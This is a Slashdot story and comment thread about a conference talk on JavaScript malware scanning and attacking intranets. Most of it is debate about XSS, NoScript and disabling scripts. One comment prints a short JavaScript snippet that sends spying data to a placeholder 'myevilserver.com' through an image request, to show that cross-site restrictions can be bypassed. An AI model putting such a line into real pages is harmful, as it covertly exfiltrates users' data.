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JavaScript Malware Open The Door to the Intranet

An anonymous reader writes "C|Net is reporting that JavaScript malware is opening the door for hackers to attack internal networks. During the Black Hat Briefings conference Jeremiah Grossman (CTO, WhiteHat Security) '...will be showing off how to get the internal IP address, how to scan internal networks, how to fingerprint and how to enter DSL routers ... As we're attacking the intranet using the browser, we're taking complete control over the browser.' According the the article, the presence of cross-site scripting vulnerabilities (XSS) dramatically increase the possible damage that can be caused. The issue also not which-browser-is-more-secure, as all major browsers are equally at risk. Grossman says 'The users really are at the mercy of the Web sites they visit. Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it.'"

169 comments

  1. JavaScript Malware Open The Door to the Intranet by Ohreally_factor · · Score: 5, Funny

    Caveman Zonk edit headline bad.

    --
    It's not offtopic, dumbass. It's orthogonal.
  2. Re:JavaScript Malware Open The Door to the Intrane by Anonymous Coward · · Score: 0

    A good website shouldn't rely on client side scripting

  3. NoScript by dvice_null · · Score: 5, Informative

    Why can't users just install Firefox and NoScript extension for it. Then Javascript will be disabled by default, but user can whitelist the sites where Javascript should be enabled. Problem solved.

    1. Re:NoScript by rdwald · · Score: 5, Informative

      In addition to blocking JavaScript on non-whitelisted sites, NoScript also prevents Flash and Java from loading unless you specifically allow them on a case-by-case basis. All of those stupid Flash adds will be gone, but you can still view everything you want to! It's a great extension.

    2. Re:NoScript by Anonymous Coward · · Score: 5, Insightful

      The problem is not necessiarly the web browsers (and most don't even use Firefox let alone have even heard of that that extension). The problem is the websites that don't properly take steps to protect against XSS (e.g. HTMLencode user input).

      Most recently we saw this problem in Netscape's portal.

      http://blog.outer-court.com/archive/2006-07-26-n73 .html

      Developers need to start thinking not only about how to solve the particular business problem but also about how their code could be potentially abused by attackers and take active steps to mitigate that risk.

    3. Re:NoScript by Anonymous Coward · · Score: 3, Informative

      You missed what they are saying. Even if you whitelist a website, that site can be crossscripted and become infected.
      RTFA.

    4. Re:NoScript by QuietLagoon · · Score: 1
      Why can't users just install Firefox and NoScript extension for it.

      Why not just install Opera 9 and use the new site management capability to manage javascripting. You can disable javascript by default for all sites, and only allow javascript to run on those sites that you trust.

    5. Re:NoScript by Asztal_ · · Score: 2, Informative

      Funnily enough, Internet Explorer actually warns you when an untrusted site links to a trusted one. I don't know of any other browsers which do this :)

    6. Re:NoScript by Anonymous Coward · · Score: 0

      Have to agree - the summary, "which really isn't a solution because so many Web sites rely on it." is a load of BS. I have NS installed for about 6 months now, and browse the vast majority of sites fine without needing JS. You get the odd site that doesn't work at all, and at that point I make a judgement call, do I trust the site, do I *really* want to visit the site etc etc of those cases about half the time I just move on and the other half I give permission. Why on earth should I give sites the ability to run a load of advertising, counter and tracking scripts on my machine?

    7. Re:NoScript by Anonymous Coward · · Score: 0

      Not to mention that it provides at least some white/blacklist functionality to only enable certain javascript functions. Though nowhere near as full as one can with Privoxy/Proxomitron/Proxomido

    8. Re:NoScript by justinchudgar · · Score: 1

      I am not a developer; that is, I do not do development full time professionally. I am an IT consultant, which means that I end up being a jack of all (PR related) trades. In addition to helping clients find the , I occassionally do web development. I am a functional programmer. I can write code that does the task at hand; and, I try to write clear maintainable code. I am not an expert in any particular development language; and, I do not have the time or interest to become fully conversant in the state of the art of web security. Although I have no data to back this up; I believe that there are a huge number of people like me writing code for sites. We need to get something up that looks good and works reliably, but, we do not have the knowledge or time to make sure that it is truly secure. It seems that the ideal place for security is not with individual site developers; but, rather with language standards bodies and browser makers. If the language and the runtime environment is secure, the site will be secure independent of the skill and resources of the developer.

      --
      WARNING: Smoking this sig may cause lowered IQ, insanity or short term memory loss. It is also really bad for your monit
    9. Re:NoScript by sowth · · Score: 1

      Why can't users just run any browser, including those which don't support javascript? I would like to use Dillo, but many websites require javascript, even for things which should not. Why must they do this?

    10. Re:NoScript by Jessta · · Score: 1

      Yeah, I've used NoScript.
      The problem is that so many sites pointlessly rely on javascript.
      large numbers of them are un-navigatable without javascript enabled.

      If I blocked javascript on all sites that I visited that I didn't completely trust then I wouldn't be able to use a large number of sites. It's a problem of idiot web developers who don't know what they are doing, but think it will be COOL!
      eg. non web application sites using 'AJAX' because it's the new cool thing.

      --
      ...and that is all I have to say about that.
      http://jessta.id.au
    11. Re:NoScript by Rob+Kaper · · Score: 1

      I would however like to finally obsolete the User-Agent request header for a Standards/Capabilities header. It's possible to detect JavaScript support, Flash capabilities, sure.. but it should simply be something the client tells the server in the request in the first place.

      I'm currently playing around with AJAX (shameless plug: a MySpace with better usability in PHP) but because I can't see if JavaScript is on or off on the server side easily, I have to generate pages which include interface definitions for both possibilities (where the JavaScript version is hidden and substitutes itself for the static version onLoad).

      It would make development so much easier and would definitely assist people who do care about their visitors to aptly serve them pages optimised for their browser preferences.

    12. Re:NoScript by Anonymous Coward · · Score: 1, Informative

      Other browsers assume everything is untrusted. You can agrue either way wether that is a good or bad idea.

    13. Re:NoScript by passthecrackpipe · · Score: 2, Insightful

      Dude, you must be a troll, but I'll bite. That is just such a load of bullshit, you could *never* be an IT consultant. First of all, if you are coding, you aren't a consultant - a consultant "consults" i.e. you advise the customer on the best course of action to achieve a certain goal. This may be architectural, infrastructure, security, or any other field, but it is *advise* - a good consultant is too *expensive* to be sitting there knocking out code. If your customer can afford to have you write (evidently crappy) code on his dime, you aren't a consultant, you are a tech/engineer, with delusions of grandeur.

      Having said that, your attitude is simplistic, and hints of a general lack of intelligence. Whatever kind of engineer you think you may be, you suck at it. I can tell you this simply from looking at your post. Security should be a pervasive part of all you do, whether you are a dev, a server wrangler, or whatver. Saying "we don't have the knowledge or time to make sure its secure" is like a pilot saying "I don't know how close to ground I am, I'm busy enough keeping this plane in the air without having to worry abou...." Cue planecrash.

      --
      People who think they know everything are a great annoyance to those of us who do.
    14. Re:NoScript by BalanceOfJudgement · · Score: 2, Insightful

      What I don't understand is why the other two who replied to you had to be so visceral about it. A simple "No, no, here's what you can do to make sure things are secure" would have sufficed, but instead one had to resort to calling you a troll and the other had to call you a con.

      Alas, I'm realizing that is a common experience on Slashdot. I always imagined geeks who were full of themselves, I guess I had to come here to really find them.

      Anyway, just brush that off, take the good from what they had to say, and leave it at that.

      Really, why people need to think of this place as a place to fight...

      --

      We are the fire that lights our world.. and we are the fire that consumes it.
    15. Re:NoScript by BalanceOfJudgement · · Score: 1

      Because JS is the "wave of the future"! Everyone wants JS, even for crap like viewing an image! Who needs the [img] tag, let's pepper the html with document.write, because that makes everything so much easier!

      Uhh...

      Yeah really I don't get it either.

      I always browse with JS turned off and only enable it when I really, absolutely need to, or on sites I really trust. I figure, any other sites are a)using it for fluff I don't care about (like fancy dropdown menus that have no business using JS) or b) probably trying to do stuff with my computer I don't want to do anyway.

      --

      We are the fire that lights our world.. and we are the fire that consumes it.
    16. Re:NoScript by castoridae · · Score: 1

      Agreed on original poster's careless attitude, but I gotta comment on your definition of consultant. I'm a consultant, and I definitely spend my share of time cranking code. Is it cost-effective to a company that has engineers on staff? No, I charge an arm & a leg. But, for one-off gigs that don't justify a hire & for companies that don't have the available coding resources it does make sense.

      I guess you can make a semantic argument that when I take this role, I'm an engineering contractor instead of a consultant, but it does become purely a semantic argument.

    17. Re:NoScript by ChaosDiscord · · Score: 1

      I envy you the world you live in, it sounds so much better than the one I live in. In the one I live in, large organizations regularly hire consultants at $100+ an hour to write code; sometimes even ignoring in-house developers would could do the work cheaper. in the world I live in management frequently rewards people who save time and money by doing shoddy security and penalizes people who want to spend a few percent more to do pervasive, correct security.

    18. Re:NoScript by Ckwop · · Score: 1

      Why can't users just install Firefox and NoScript extension for it. Then Javascript will be disabled by default, but user can whitelist the sites where Javascript should be enabled. Problem solved.

      Not quite, you see that means you have to trust the web-sites you use to not allow any XSS attacks. For example, I imagine that most people would not have second thoughts about trusting altavista.com, however, clicking on a crafty link[1] to this site could result in serious trouble.

      The only solution that is guaranteed to work is to disable Javascript completely. Why do we, as consumers, always find ourselves in the shit? We should demand better security than this.

      Simon

      [1] - I certify that this link is safe to click.

    19. Re:NoScript by Anonymous Coward · · Score: 0
      Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it.


      Javascript is useless, the user can disable it. Any web developer who relies on it is a fool. Javascript must die. Perhaps more of this kind of thing will finally force the universal abandonment of javascript.
    20. Re:NoScript by Anonymous Coward · · Score: 0

      Why do people use Firefox? Does it actually do anything? Does it need a "web browser" extension? Every day I come across some loser spamming: "This Firefox extension fixes that browser deficency! Everyone should use this!" post. The idea of extensions is interesting, but they shouldn't be making up for features that should be in the main browser. If Firefox were a car, it would be useless without the steering wheel extension, the wheels extension, and the interior seating extension.

      I keep scripts turned off by default, and turn them on for certain sites. That ability is built into my web browser, like it's supposed to be. But you don't see me spamming, do you?

      I know you people all want to "spread" Firefox, but you can stop spamming already. Every offtopic "Use Firefox" post I read is another reminder to me that I'll use Konqueror, Opera, Mozilla Suite, Lynx, links, w3m, Galeon, or Dillo before I use Firefox. Hell, I'll run Internet Explorer in Wine before I install Firefox. If someone reading Slashdot isn't running Firefox already, they probably have a pretty good reason. You can stop spamming.

    21. Re:NoScript by jdbartlett · · Score: 1

      Flamebait/troll, but I'll bite:

      1.) Firefox 2 includes a Phishing filter. (Firefox 2 is to Firefox current as Internet Explorer 7 is to Internet Explorer current... except that Firefox current is already better than Internet Explorer 6, at least in terms of W3C compliance, security, privacy, RSS feed handling, 32-bit/24-bit-with-alpha PNG handling...) This isn't the same as what we're talking about, but it's the closest thing needed that's actually sensible. (I don't believe NoScript is sensible - most users would just click "allow script" all the time if they hadn't installed it willingly themselves.)

      2.) Extensions are generally not for "fixes" but for extra functionality not suitable to be included with the browser. For example, an extension might remove Adwords banners from websites.

      3.) To qualify as "spam", something has to be irrelevant or inappropriate. Suggesting a more secure browser to help protect against insecure websites is neither irrelevant nor inappropriate.

      4.) You mentioned some good browsers as alternatives to Firefox. I'd suggest using them rather than Internet Explorer. If you use Windows, stay safe: use Internet Explorer only for Microsoft Update.

      5.) Out of curiosity, could you give good reason for not using Firefox?

    22. Re:NoScript by jdbartlett · · Score: 1

      This is a big problem. I'm a big fan of Ajax techniques, but only for use in web applications or downgradably. Downgradable design needs to be stressed and restressed to Ajax developers: build the website in HTML first, then it's easy to add Ajax goodies simply by returning false in the "onclick"s of links. If the serverside script follows the MVC pattern, it'll be easy to add a JSON-producing View to talk to JavaScript.

    23. Re:NoScript by Anonymous Coward · · Score: 0

      Because that'd be stupid, that's why.

      That'd be a HUGE step back for the web. You didn't want applets? Fine. No ActiveX? Okay. No flash? Sure... But now javaScript... Next thing you know, people will want to block CSS or markup tags because "it isn't safe"... Or images! Because of possible buffer overflows in decoding libs (think WMF exploit). If it was for you guys, the web would be plain, 7 bit ASCII text.

      Almost every site I visit uses JS for something useful, things like collapsible menus, form validation and such (not to mention websites like google maps). And with the advent of the new "web 2.0" hype, you know every site is soon going to use it extensively.

      I'll be browsing the web with telnet before I disable javascript.

      NoScript is by FAR the stupidest extension EVER written for FF.

    24. Re:NoScript by butchtcougar · · Score: 1

      I think the replies were a bit charged cuz he didnt bother to ask what he should to be doing. He simply stated that he just does'nt care, or that its impossible for him to do. He may have been intentionally trying to illicit these type of responses.

    25. Re:NoScript by mattyrobinson69 · · Score: 2, Insightful

      To provide a decent UI for the user, you have to sometimes 'require' JS, for example, if you want to maintain a session when the user isn't actively clicking on links (especially when you need to know who is actually online, eg: see my link), you need to use xmlrpc (sometimes meta refresh just wont do).

      If you want a 'You have recieved mail' popup, you need JS, same with drag/drop, client side validation (along with server side obviously), client side updates of something that is happening server side (eg: the telephone call you requested is now being dialed, was answered, was disconnected, etc).

      The WWW would be much worse off without Javascript, as much as I hate the language. XSS could be prevented if JS could only be included by a HTTP header, such as:

      link-file: javascript.js
      link-file: js2.js

      etc, but we're a good decade late for that to become mandatory.

    26. Re:NoScript by Anonymous Coward · · Score: 0

      I do not have the time or interest to become fully conversant in the state of the art of web security.

      Clearly, you don't have the time to become fully conversant in HTML either.

    27. Re:NoScript by Aeomer · · Score: 1

      Wow, Dilbert is posting on Slashdot. And he's a real potty mouth. ;)

    28. Re:NoScript by phreakv6 · · Score: 1

      I can see what good a developer you are when it comes to security.. just clicking around you site tells me you run it on windows and that your webroot is D:\justinzane_com why why why would you do a print_r of your server variables on your site ??

      --
      fifteen jugglers, five believers
    29. Re:NoScript by scum-e-bag · · Score: 1
      --
      Does it go on forever?
    30. Re:NoScript by anupamsr · · Score: 0

      And here is the link: NoScript.

      --
      I forgot to be anonymous.
    31. Re:NoScript by fbjon · · Score: 1

      Now that is a crafty link I'd never had thought of. It really underlines the importance of sanitizing user input.

      --
      True confidence comes not from realising you are as good as your peers, but that your peers are as bad as you are.
    32. Re:NoScript by GooberToo · · Score: 1

      Talk about trolling....

      Actually, IT consultants often do come in to code/design/mentor. Likewise, they are often required to help implement their own recommendations. Not surprisingly, many shops which require a consultant to come in, also lack the inhouse knowledge to implement the resulting recommendation. This may be from a lack of industry knowledge or because their in house talent can only tackle 95% of the problem domain and need help with the last 5%. And yes, sometimes that last 5% can take many, many months. On the other hand, there are shops where you come in, analyze for a week, document it, generate a recommendation, and our job is done. Sometimes additional work comes from that, sometimes not. Fees are often skillset related. So you may bill x for the "consulting" part and 1/2x for the other. Some places you can change x for both.

      So the long of the short, yes, consultats often code, design, review, lead, hold hands, and mentor in house staff. Thinking otherwise is simply ignorance or trolling. I'll let your profess which is your case.

    33. Re:NoScript by IpalindromeI · · Score: 1

      You forgot to list the best web browser.

      --

      --
      Promoting critical thinking since 1994.
    34. Re:NoScript by justinchudgar · · Score: 1

      I am actually a consultant; working by myself. Most of the clients I work with are very small businesses. By that I mean that they are 1-10 person businesses, often without a dedicated receptionist/secretary, let alone an in-house IT shop. If they need something that cannot be affordably purchased off the shelf, or, is too small to interest a serious developer, I can and do provide the bits of custom code that they need. I have worked for a large consultancy; and, for their Fortune 100 clients; and, in that case, I did not do any coding; as there were programmers on the team for that purpose. In the very small town I live in now, though, there are no large corporate installations; and, no large consultancies. So, I do everything from evaluating problems and writing proposals to walking end users though the process of picking a different printer from their default in MS Word. Because of the diversity of requests and client businesses; and, because I am not motivated to be a hands-off consultant or a developer, this is the nature of my experience.

      --
      WARNING: Smoking this sig may cause lowered IQ, insanity or short term memory loss. It is also really bad for your monit
    35. Re:NoScript by justinchudgar · · Score: 1

      I didn't take it too seriously; but, it is interesting to realize that my experience differes so dramatically from others'.

      --
      WARNING: Smoking this sig may cause lowered IQ, insanity or short term memory loss. It is also really bad for your monit
  4. Simple fix to an obvious problem by pieterh · · Score: 4, Insightful

    Giving JavaScript the power to do random network accesses may make AJAX possible, but code running in my browser has no business accessing my local intranet. For that matter, I'm uncomfortable with JavaScript applications 'phoning home' without my knowledge.

    So, the fix is to treat all attempts by JavaScript in a browser as 'hostile until proven otherwise', and to ask for user confirmation when such attempts happen. Put a firewall around the browser and treat any code running in it as dangerous by default.

    I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.

    1. Re:Simple fix to an obvious problem by ergo98 · · Score: 5, Interesting

      Giving JavaScript the power to do random network accesses may make AJAX possible

      The XmlHttpRequest functionality doesn't allow "random network access", but instead is limited to calling the source website (in all browsers but IE. In IE the requests can go anywhere).

      I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.

      Fix what though? The submission seems to be that someone has a big surprize that they're going to release at a conference, and for all we know they could be full of shit, talking big to get a lot of attention. Personally I would rather that this story was shelved until there's actual details that can be addressed/rebutted. Instead it's like lame nightly news teasers.

      "Coming tonight at 11 - Someting ordinary in your home that can KILL YOU! Now back to The Family Guy."

    2. Re:Simple fix to an obvious problem by Goaway · · Score: 4, Insightful

      document.createElement("img");
      img.src="http://myevilserver.com/phonehome.cgi?evi lspyingdata="+encodeURIComponent(evilspyingdata);
      document.body.appendElement(img);


      Oops! I just phoned home without using XMLHttpRequest! How are you going to firewall that one out?

    3. Re:Simple fix to an obvious problem by Ougarou · · Score: 2, Insightful

      As said: the problem is not the XMLHttpRequest that can be done: this is site bound in Firefox. (I think it's domain bound, not site bound actually, but ok)

      The problem is the ability of a homepage to be spread over different servers and locations. The only solution I see is getting images to be domain bound to.

      This solution will only work if it is set on all possible media that is embedded in the page, allowing only relative links for embedded media. Of course, this would totally destroy most parts of the internet.

      What I don't understand is why and how Javascript can get my local IP address: who even needed that to be implemented?

    4. Re:Simple fix to an obvious problem by Anonymous Coward · · Score: 0

      Of course, this would totally destroy most parts of the internet.

      Well, thank you for that most creative and insightful suggestion.

    5. Re:Simple fix to an obvious problem by Anonymous Coward · · Score: 0

      but code running in my browser has no business accessing my local intranet.

      What if the JavaScript is part of the web-based admin utility for your router? What if you're running some other kind of server on your LAN?

      Think first, then type. It works much better that way.

    6. Re:Simple fix to an obvious problem by Joce640k · · Score: 2
      What I don't understand is why and how Javascript can get my local IP address: who even needed that to be implemented?


      This is moot. The server which served you the page already has your IP address.

      --
      No sig today...
    7. Re:Simple fix to an obvious problem by tomjen · · Score: 4, Informative

      It has the IP address of the NAT router - not, not, not the internal ip of the computer making the request through the NAT router.

      --
      Freedom or George Bush
    8. Re:Simple fix to an obvious problem by Ougarou · · Score: 1

      Not true, when using NAT the server serving the pages get's your internet wide address. What the article is talking about is the local (local network, as in behind a router) address. This can only be found client-side at the moment and apperently Javascript allows you access to this.

    9. Re:Simple fix to an obvious problem by roman_mir · · Score: 3, Insightful

      this is not insightful, it's silly. This is not even about JAVASCRIPT. An HTML page can access resources from anywhere on the web. And so if JAVASCRIPT is used to access one of those resources (an http request, as in HTML IMAGE tag for example,) then this problem cannot be fixed at JAVASCRIPT level.

      An HTML page can access an image on a third party server via a normal html tag, a javascript can facilitate that access, that's about it. In that http request parameters can be hidden that provide information about your session.

      The trick with JAVASCRIPT scanning your local network is actually this exact feature: a browser allowing HTML page to load resources from anywhere on the network. JAVASCRIPT is used to manipulate the DOM of the HTML, the GUI event model and the http requests. So the fundamental question is this: should and HTML page be allowed in principle to access resources from third party servers and not from its own server.

      But then you are questioning the entire Hyper Text idea - the linking of the Internet.

      This most certainly will not be fixed in the next release of ANY browser.

    10. Re:Simple fix to an obvious problem by grahammm · · Score: 1

      Firefox already has a "load images only from originating site" option.

    11. Re:Simple fix to an obvious problem by BalanceOfJudgement · · Score: 1
      (in all browsers but IE. In IE the requests can go anywhere).
      I'm not sure about that. I ran into the same security restrictions in IE that exists in the other browsers using AJAX. The only solution to the problem was to get rid of the 'www' in the URL, EVER - so users always browse on http://thesite.com./

      By the way, about your sig:
      "Coming tonight at 11 - Someting ordinary in your home that can KILL YOU! Now back to The Family Guy."

      I hate when stations do that. It's like.. if it's so deadly isn't it kind of your obligation to tell me what it is without forcing me to watch an hour of advertisements?
      --

      We are the fire that lights our world.. and we are the fire that consumes it.
    12. Re:Simple fix to an obvious problem by BalanceOfJudgement · · Score: 1

      Sorry, it was part of your post, not your sig. I'm a moron.

      --

      We are the fire that lights our world.. and we are the fire that consumes it.
    13. Re:Simple fix to an obvious problem by Goaway · · Score: 2, Insightful

      Even if people should ignore the fact that this breaks half the pages on the internet, and turn it on, I can just use an iframe for the attack instead. Or a style tag. And so on, and so on.

    14. Re:Simple fix to an obvious problem by Ougarou · · Score: 1

      I second that. Further more, for this problem to be solved, we might need a new technology.

      How about dropping HTTP and using a protocol which uses a persistent connection through which all data is transmitted. Because the communication can be kept open, it's like running a session for every user: more dynamic pages, less problems with keeping your browser from connecting to other sites (no more phishing even?) Connections could of course be closed if the page doesn't require a session like system and users can always just cut it of.

    15. Re:Simple fix to an obvious problem by Goaway · · Score: 1

      You've just multiplied the resource demands on web servers with several orders of magnitude.

    16. Re:Simple fix to an obvious problem by suv4x4 · · Score: 1

      Site attempts to load image navbar1.gif. Do you want to allow it? [ ] Don't ask next time ALLOW | DENY
      Site attempts to load image navbar2.gif. Do you want to allow it? [ ] Don't ask next time ALLOW | DENY
      Site attempts to load image navbar3.gif. Do you want to allow it? [ ] Don't ask next time ALLOW | DENY
      Site attempts to load image navbar4.gif. Do you want to allow it? [ ] Don't ask next time ALLOW | DENY
      Site attempts to load image navbar5.gif. Do you want to allow it? [ ] Don't ask next time ALLOW | DENY
      Site attempts to load image navbar6.gif. Do you want to allow it? [ ] Don't ask next time ALLOW | DENY
      Site attempts to load image navbar7.gif. Do you want to allow it? [ ] Don't ask next time ALLOW | DENY
      Site attempts to load image navbar8.gif. Do you want to allow it? [ ] Don't ask next time ALLOW | DENY
      Site attempts to load image navbar9.gif. Do you want to allow it? [ ] Don't ask next time ALLOW | DENY
      Site attempts to load image navbar10.gif. Do you want to allow it? [ ] Don't ask next time ALLOW | DENY

    17. Re:Simple fix to an obvious problem by zobier · · Score: 1
      The XmlHttpRequest functionality doesn't allow "random network access"
      XmlHttpRequest doesn't allow XSS but Dynamic Scripting does, e.g.
      I haven't tried using Dynamic Scripting to access local domains / addresses but it does work for non-originating sites.
      Also, I don't believe that IE does allow Cross Site AJAX.
      --
      Me lost me cookie at the disco.
  5. Re:JavaScript Malware Open The Door to the Intrane by Anonymous Coward · · Score: 0
    JavaScript malware is opening the door for hackers to attack internal networks


    Poor little "s" was heard sobbing because it was left out unlikified. Zonk, don't you think of the children?
  6. How's this news? by Anonymous Coward · · Score: 2, Insightful
    A portscanner in javascript is trivial and it runs on the client machine behind the corporate firewall. This isn't news, this has been common knowledge for ever. This is why javascript is disabled throughout any organization that takes security seriously. I find it amusing that this only gets planted in the news when certain large tech companies are pushing ajax to replace desktop apps.


    It's not just javascript, flash content, activeX and java applets should all be disabled site-wide. Any network admin that leaves js enabled in browsers (acrobat reader etc) should probably seek employment in some other field. Anything less is irresponsible!

    1. Re:How's this news? by Anonymous Coward · · Score: 0

      Any responsible admin should not depend on pseudo security measures like changing client javascript settings but secure the network sufficiently to render such "trivially" available information insufficient for an attack.

    2. Re:How's this news? by Anonymous Coward · · Score: 1, Informative

      > pseudo security measures

      Removing an attack vector is pseudo security? Are you for real?

      I suppose you think that the latest firefox only fixed "pseudo security" vulns?

      http://www.mozilla.org/projects/security/known-vul nerabilities.html

      I count 12, all of which would be prevented by disabling javascript.

      Corporate users need access to departmental servers, you can either disable script, deny outright or sandbox their web access via a VM. It's firewalls and vlans that have become pseudo security once an attacker has compromised a workstation.

  7. NoScript extension could be a saviour by CdBee · · Score: 4, Informative

    For about a year now I routinely install a whitelisting firefox extension called NoScript
    It blocks javascript per-site until I choose to whitelist the site: Not only do I get a great deal fewer annoyances interrupting my browsing, but it also cuts out a lot of web advertising (the AdBlock extension makes my browser drag when fully loaded with filters)

    --
    I have been a user for about 10 years. This ends Feb 2014. The site's been ruined. I'm off. Dice, FU
    1. Re:NoScript extension could be a saviour by Anonymous Coward · · Score: 0

      Competent web developers, by definition, do not produce sites where core functionality depends on client-side script.

  8. Re:JavaScript Malware Open The Door to the Intrane by Exatron · · Score: 4, Funny

    Me, Grimlock, like headline. No want it change.

    --
    "I think so, Brain, but 'instant karma' always gets so lumpy." - Pinky
    "Decepticons FOREVER!!!" - Ravage
  9. Problem Solved? by Petersko · · Score: 2, Interesting

    "Then Javascript will be disabled by default, but user can whitelist the sites where Javascript should be enabled. Problem solved.

    The consequences of disabling Javascript can lead to a host of new problems. I used to disable javascript and enable it by whitelist. Then I registered a piece of shareware, paid by credit card, and waited. Of course since the whitelisted servers forwarded off to some other entity which provided the registration pages, it never came back. So I figured out the servers that it was dealing with, whitelisted them, and reregistered.

    Naturally I got double-billed. The shareware provider kindly fixed that situation, and I was credited, but this situation was a good example of why whitelisting sites is not the solution.

  10. A solution to this problem. by Anonymous Coward · · Score: 0

    As daft as this may sound. I think a simple solution would be to prevent the JavaScript from accessing any private IP's such as as those defined in the RFC's, those being. 10.0.0.0 172.16.0.0 192.168.0.0 .
    If someone happens to be running networks and sub-nets other than those they are no longer in a 'local' network as their machines are at risk per se due to their traffic being fully routable on the net.
    I see every reason for the JavaScript to go and pull and push data from sites all over, but there is zero need for it to use these local restricted addresses.

    Maybe this is too simple? Maybe that is why it has been overlooked.

    1. Re:A solution to this problem. by Goaway · · Score: 2, Insightful

      Except that, you know, maybe they want to actually use JavaScript apps on their intranet?

    2. Re:A solution to this problem. by aztracker1 · · Score: 2, Informative

      And for your intranet server, that *IS* likely to need scripting, ex: an internal wiki, or bulletin board that uses one of the fancy html editors?

      --
      Michael J. Ryan - tracker1.info
  11. WMVs by CosmeticLobotamy · · Score: 3, Insightful

    This is slightly off-topic, but it's kind of relevent to the solution of turning javascript off. Can anyone explain to me why javascript is required in Firefox to open a .wmv file (in windows, obviously)? And more importantly, what bug makes Firefox crash about 33% of the time when visiting a site that has one on it when javascript is disabled? What are the odds that bug is overflow exploitable?

    1. Re:WMVs by Anonymous Coward · · Score: 0

      Not without you providing a couple of urls.

      audio content these days tends to involve some script poking the plugin to start playing or even loading the content, w/o a js poke there might be no content. but again w/o a url, there's no way to be sure. please try asking in the mozillazine.org forums or something and be sure to include a url or two. there's no harm in listing more than one url. be nice and indicate your browser version (about: / javascript:navigator.userAgent) and the wmp plugin version (about:plugins).

      as for wmp plugin and crashing, there are a bunch of reports in bugzilla.mozilla.org, but the wmp plugin isn't controlled by mozilla (it's controlled by microsoft), so fixing problems relating to it is relatively hard. there is some protection against plugins crashing, but afaik it doesn't seem to work well for that plugin.

      out of process plugins for gecko aren't going to happen anytime soon unless someone angel funds it.

    2. Re:WMVs by CosmeticLobotamy · · Score: 1

      First result from a google of "video clips", just to confirm for everyone that I'm not just looking at weird, browser-crashing porn (I, of course, am, but other, not-disgusting things do it, too).

      http://www.video-clips.co.uk/viewmedia.php?cid=18

      This particular one didn't crash when I tried it, but it does start an unending until you click the 'don't show this anymore' checkbox error message loop whose message I, unfortunately, can't quite remember, advising you to restart the program. Hopefully anyone visiting would get the same and that's good enough.

      audio content these days tends to involve some script poking the plugin to start playing or even loading the content, w/o a js poke there might be no content.

      it's not that there's no content, I'm fine with no content, it's that going to any site with an embedded wmv with javascript disabled gives an endlessly repeating error message until you click a "stop showing this" checkbox, at which time you have a one in three chance of crashing.

      The about: ajavascript: navigator advice brings up a blank page, so I'll just say that the bug has existed from at least Firefox 1.0 to 1.5.0.5.

      The about:plugins doesn't give a version for the plugin that I can see, but it's whatever comes with a fully patched XP Home (I assume that's where the plugin is coming from).

      I don't know if IE uses the same plugin, but going to the same site in it with javascript disabled just doesn't show the content, so if they are the same problem, then it's at least partially a Firefox problem (IE might do a special check for enabled javascript in IE and then assume it's there in the plugin, which makes it mostly their fault, I suppose. Any chance of getting the developers to drop in that check as a special case? WMVs are fairly common, and the behavior is slightly annoying, but I don't know how much those guys enjoy making special cases for microsoft products).

      I guess I'll try to get around to asking mozillazine. Thanks. Kind of was hoping the answer was common knowledge.

    3. Re:WMVs by CosmeticLobotamy · · Score: 1

      Just a warning, I have no idea what that clip I linked to is. I clicked one of their offerings at random and only confirmed that it didn't show up and caused the error. Now that I look at the name again, it may turn out to be something horrible. Oops. And I'm afraid to check.

    4. Re:WMVs by evilviper · · Score: 1
      This particular one didn't crash when I tried it, but it does start an unending until you click the 'don't show this anymore' checkbox error message loop

      No problems here, with Firefox 1.5.0.2 (javascript disabled) under FreeBSD6.0. In fact, mplayerplug-in loads the clip and plays it just fine.

      Are you sure your version of firefox isn't just buggy, or have some odd-ball extension causing rendering problems?

      To answer your curiosity, it's just a video of a guy branding a horse, and getting kicked for his trouble. Or as I like to call it, a classy American TV program...
      --
      Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
    5. Re:WMVs by CosmeticLobotamy · · Score: 1

      The last time I used a free OS, wmv's weren't playable. I didn't know there were now, or I would have mentioned that it's Firefox for Windows (XP Home SP2). But the fact that it doesn't happen on yours probably means it's Microsoft's fault for not checking if javascript is enabled and refusing to play gracefully.

    6. Re:WMVs by evilviper · · Score: 1

      WMV3 (aka. WMV9, VC-1) playback has been supported by MPlayer/Xine, since the end of 2002, and WMV2 (aka WMV8) was working long before that.

      --
      Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
  12. "Paranoid Mode" extension - a proposal by CdBee · · Score: 1

    What might be smart is an extension hooking into the security subsystems in Firefox to allow the browser to do into "Paranoid Mode" when browsing any site not on the user's favourites or safe-list.

    Paranoid Mode would block all plugins, cookies and javascript, and optionally have a "click-to-load" button in place of content from other servers

    --
    I have been a user for about 10 years. This ends Feb 2014. The site's been ruined. I'm off. Dice, FU
  13. There was an old lady who swallowed a fly... by Anonymous Coward · · Score: 0

    You'd need to taint all js initiated requests for that to work and even then how would a browser handle a HTTP redirect to an internal IP?

    The simple solution is to disable javascript and insist web sites work without it.

    1. Re:There was an old lady who swallowed a fly... by alienmole · · Score: 1
      The simple solution is to disable javascript and insist web sites work without it.
      I've been doing that with Flash for years. Unfortunately, it doesn't seem to have had much effect.
  14. Re:JavaScript Malware Open The Door to the Intrane by Knossos · · Score: 0

    From what I read on the article and its links, the problem isn't that clients attack servers, its that servers attack clients.

    Its not than web developers are relying on client-side code, they're exploiting client-side code in order to attack the client.

    --
    Android Software Engineer
  15. Configure which sites get javascript? by Anonymous Coward · · Score: 3, Insightful

    I have been asking for years why we can't disable javascript for all but trusted sites (in phoenix/firefox/etc) via a config facility.. The default when browsing should be OFF.

    Websites need to stop using javascript for conveying simple information. That Flash crap too. Most people just laugh when I say javascript is a security hole.

    1. Re:Configure which sites get javascript? by John.Thompson · · Score: 1

      Ah, but you can:

          http://www.noscript.net/whats

      Completely blocked the "proof of concept" script here.

    2. Re:Configure which sites get javascript? by Anonymous Coward · · Score: 1, Insightful
      Most people just laugh when I say javascript is a security hole.

      Especially prepare to be belittled by those with vested interests in web2.0(TM). These people know full well that client-side scripting is security problem #1 but would prefer if the truth never got out.

      Here comes another flamebait mod!

    3. Re:Configure which sites get javascript? by datadriven · · Score: 1

